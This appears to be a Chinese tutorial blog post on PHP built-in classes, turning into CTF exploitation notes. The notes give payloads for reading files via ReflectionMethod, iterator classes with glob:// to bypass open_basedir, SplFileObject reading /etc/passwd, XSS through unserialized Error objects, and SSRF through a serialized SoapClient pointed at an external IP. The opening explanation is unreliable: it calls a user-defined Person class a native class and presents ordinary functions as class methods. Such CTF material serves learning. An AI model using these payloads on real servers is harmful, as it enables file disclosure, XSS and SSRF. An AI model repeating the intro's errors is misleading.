什么是php原生类
PHP 原生类指的是 PHP 内置的类,它们可以直接在 PHP 代码中使用且无需安装或导入任何库。
以下是一些常用的 PHP 原生类:
1. DateTime 类:用于处理日期和时间,支持各种格式和时间区域。
2. PDO 类:用于访问和操作关系型数据库,如 MySQL、PostgreSQL 等。
3. FilesystemIterator 类:用于迭代文件系统目录,支持过滤器和递归。
4. DOMDocument 类:用于创建和操作 XML 文档,支持 XPath 查询和转换。
5. Reflection 类:用于分析和操作 PHP 代码的元数据,如类、方法、属性等。
6. Spl 类:用于实现各种数据结构和算法,如堆、队列、栈、哈希表等。
7. SimpleXMLElement 类:用于创建和操作 XML 元素,支持链式调用和属性设置。
8. ZipArchive 类:用于创建和解压 ZIP 压缩文件,支持密码保护和分卷压缩。
以上是一些常用的 PHP 原生类,它们覆盖了 PHP 应用开发中大部分的需求。开发人员可以根据自己的实际需求选择不同的类来完成各种任务。
PHP原生类是指PHP语言中自带的类,包括但不限于:字符串操作类、数组操作类、日期时间操作类等等。利用PHP原生类可以大大提高开发效率和代码质量。
以下是几个利用PHP原生类的实际应用:
1. 使用数组操作类实现数据排序:PHP原生数组操作类提供了sort()、rsort()、asort()、arsort()等函数,可方便地对数字和字符串类型的数组进行升序或降序排序。
2. 使用日期时间操作类生成时间戳:PHP原生日期时间操作类提供了多个时间戳函数,如time()、strtotime()、microtime()等,通过这些函数可以轻松获取当前时间或将日期时间转换为时间戳。
3. 使用字符串操作类进行文本处理:PHP原生字符串操作类提供了大量的字符串处理函数,如strlen()、substr()、strpos()、str_replace()等,能够实现字符串长度计算、字符截取、查找替换等常见的文本处理操作。
总的来说,PHP原生类提供了丰富的功能和方法,通过充分利用这些类,可以让PHP开发更加快速和高效。
以下是一个 PHP 原生类的示例代码:
class Person {
private $name;
private $age;
function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function getName() {
return $this->name;
}
public function getAge() {
return $this->age;
}
public function setName($name) {
$this->name = $name;
}
public function setAge($age) {
$this->age = $age;
}
}
// 使用 Person 类创建一个新对象
$person = new Person("John Doe", 30);
// 打印对象的名字和年龄
echo "Name: " . $person->getName() . "<br>";
echo "Age: " . $person->getAge() . "<br>";
// 修改对象的名字和年龄
$person->setName("Jane Doe");
$person->setAge(25);
// 再次打印对象的名字和年龄
echo "Name: " . $person->getName() . "<br>";
echo "Age: " . $person->getAge() . "<br>";
这个示例代码定义了一个名为 `Person` 的类,它有两个私有属性 `$name` 和 `$age`,以及一个构造函数和四个公共方法,分别用于获取和设置对象的名字和年龄。代码使用 `new` 关键字创建了一个新的 `Person` 对象,并使用 `echo` 输出了对象的名字和年龄。然后,代码修改了对象的名字和年龄,并再次使用 `echo` 输出了修改后的值。
下面的题取自21年国赛题目
ReflectionMethod
(PHP 5 >=5.1.0,PHP7,PHP8)
源码:
<?php
highlight_file(__file__);
class User
{
private static $c = 0;
function a()
{
return self::$c;
}
function b()
{
return self::$c;
}
function c()
{
/**
* flag{XINO}
*/
return self::$c;
}
function d()
{
return self::$c;
}
function e()
{
return self::$c;
}
function f()
{
return self::$c;
}
function g()
{
return self::$c;
}
function h()
{
return self::$c;
}
function i()
{
return self::$c;
}
function j()
{
return self::$c;
}
function k()
{
return self::$c;
}
function l()
{
return self::$c;
}
function m()
{
return self::$c;
}
function n()
{
return self::$c;
}
function o()
{
return self::$c;
}
function p()
{
return self::$c;
}
function q()
{
return self::$c;
}
function r()
{
return self::$c;
}
function s()
{
return self::$c;
}
function t()
{
return self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
源码环境没有搞到,自己写了一个
rc是传入原生类名,rb和ra是传入类的属性,rd时传入类方法,后面就是实例化调用方法
payload:
?rc=ReflectionMethod&ra=User&rb=c&rd=getDocComment
读取目录/文件
DirectoryIterator
功能:便利指定目录里的文件,可以配合glob://协议使用匹配来寻找文件路径:
<?php
$dir = new DirectoryIterator("glob:///*flag*");
echo $dir;
或者遍历全部文件
<?php
$dir = new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<bar>');
}
FilesystemIterator
使用方式与DirectoryIterator基本相同,这里就不细讲了
GlobIterator
Globlterator类也可以遍历一个文件目录,但与上面略不同的是其行为类似于glob(),可以通过模式匹配来寻找文件路径
它的特点就是,只需要知道部分名称就可以进行遍历
例如
<?php
$dir = new GlobIterator("/*flag*");
echo $dir;
绕过open_basedir
open_basedir将php所能打开的文件限制在指定的目录树中,包括文件本身,当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查,当文件在指定的目录树之外,程序将拒绝打开
Directorylterator
DirectoryIterator与glob://协议在一起组合可以绕过open_basedir
测试
<?php
$dir = $_GET['XINO'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f.'<br>');
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.'<br>');}
利用payload
/?XINO=glob:///* #列出根目录下所有文件
FilesystemIterator
与上面基本一致,不在过多讨论
GlobIterator
根据该类特点,不用在配合glob://协议
一句话payload
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f.'<br>');}
SplFileObject类
平常读取只能读取一行,要全部读取需要对内容进行遍历
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
Error/Exception 内置类进行xss
Error:用于PHP7,8,开启报错
Error是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的
PHP7中,可以在echo时触发__toString,来构造XSS。
测试
<?php
$a = unserialize($_GET['XINO']);
echo $a;
?>
反序列化却没有pop链,只能找到php内置类来进行反序列化
poc:
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
传入输出会出现弹框,一个简单的利用
Exception 内置类
与上面类似,有兴趣的可以去复现一下
SoapClient类进行SSRF(这个知识点我在另外一篇文章里面讲到过,在这里宣传一下)
专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的PHP客户端
该内置类有一个__call方法,当__call方法被触发后,它可以发送HTTP和HTTPS请求,正是这个__call方法,使得SoapClient类可以被我们运用在SSRF中
构造函数
public SoapClient ::SoapClient(mixed $wsal [, array $options])
第一个参数是用来指明是否是wsdl模式,将该数值设为null则表示非wsdl模式
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要讲请求发送到SOAP服务器的URL,而uri是SOAP服务的目标命名空间
<?php
$a = new SoapClient(null,array('location'=>'http://50.xxx.xxx.6:2333/XINO', 'uri'=>'http://50.xxx.xxx.60:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); //触发__call方法进行ssrf
?>